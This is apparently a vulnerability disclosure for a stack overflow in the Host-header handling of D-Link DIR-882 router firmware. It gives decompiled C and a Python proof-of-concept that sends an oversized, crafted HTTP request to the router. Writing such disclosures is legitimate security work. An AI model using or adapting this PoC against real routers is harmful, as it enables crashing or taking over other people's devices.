D-Link DIR-882(1.10B02, 1.20B06) has a Stack Overflow Vulnerability

Product

1. product information: http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-882
2. firmware download: http://support.dlink.com.cn:9000/download.ashx?file=6573

Affected version

1.10B02, 1.20B06

Vulnerability

The vulnerability exists in the websRedirect function in the prog.cgi Web server.

```
1  int __fastcall websRedirect(int *a1, const char *a2)
2  {
3    int result; // $v0
4    const char *v3; // [sp+20h] [-2Ch]
5    void *v4; // [sp+24h] [-28h]
6    const char *v5; // [sp+30h] [-1Ch] BYREF
7    char v6[24]; // [sp+34h] [-18h] BYREF
8    const char *v8; // [sp+54h] [+8h]
9
10   v8 = a2;
11   ++dword_4EB914;
12   v5 = 0;
13   if ( strstr(a2, "http://") )
14     goto LABEL_15;
15   if ( *v8 == 47 )
16     ++v8;
17   sub_419710((int)a1, "HTTPS", a1[87]);
18   v3 = "http://%s/%s";
19   if ( a1[87] && !strcmp(a1[87], "on") )
20     v3 = "https://%s/%s";
21   v4 = sub_419710((int)a1, "HTTP_HOST", a1[60]);
22   if ( !strchr(a1[59], 91) || inet_pton(10, v4, v6) <= 0 )
23   {
24     v4 = sub_419710((int)a1, "SERVER_NAME", a1[59]);
25 LABEL_13:
26     fmtAlloc(&v5, 4176, v3, v4, v8);
27     goto LABEL_14;
28   }
29   v3 = "http://[%s]/%s";
30   if ( !a1[87] || strcmp(a1[87], "on") )
31     goto LABEL_13;
32   fmtAlloc(&v5, 4176, "https://[%s]/%s", v4, v8);
33 LABEL_14:
34   v8 = v5;
35 LABEL_15:
36   websWrite(a1, "Location: %s\r\n", v8);
37   result = (int)v5;
38   if ( v5 )
39     result = free(v5);
40   return result;
41 }
```

vuln

In `websRedirect` function, `v4` is controllable and will be passed into the `v5` . A piece of code do copy Host header string to stack with no length limit, it will case a stack overflow vulnerability.

PoC

```
import socket

p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
p.connect(("192.168.0.1" , 80))

shellcode = "A"*0x3000

rn = "\r\n"
strptr = "\x60\x70\xff\x7f"
padding = "\x00\x00\x00\x00"

payload = "GET /sharefile?test=A" + "HTTP/1.1" + rn
payload += "Host: " + "A"*0x70 + strptr*2 + "A"*0x24  + "\xb8\xfe\x48" + rn
payload += "User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0" + rn
payload += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
payload += "Accept-Language: en-US,en;q=0.5" + rn
payload += "Accept-Encoding: gzip, deflate" + rn
payload += "Cookie: curShow=; ac_login_info=passwork; test=A" + padding*0x200 + shellcode + padding*0x4000 + rn
payload += "Connection: close" + rn
payload += "Upgrade-Insecure-Requests: 1" + rn
payload += rn

p.send(payload)
print p.recv(4096)
```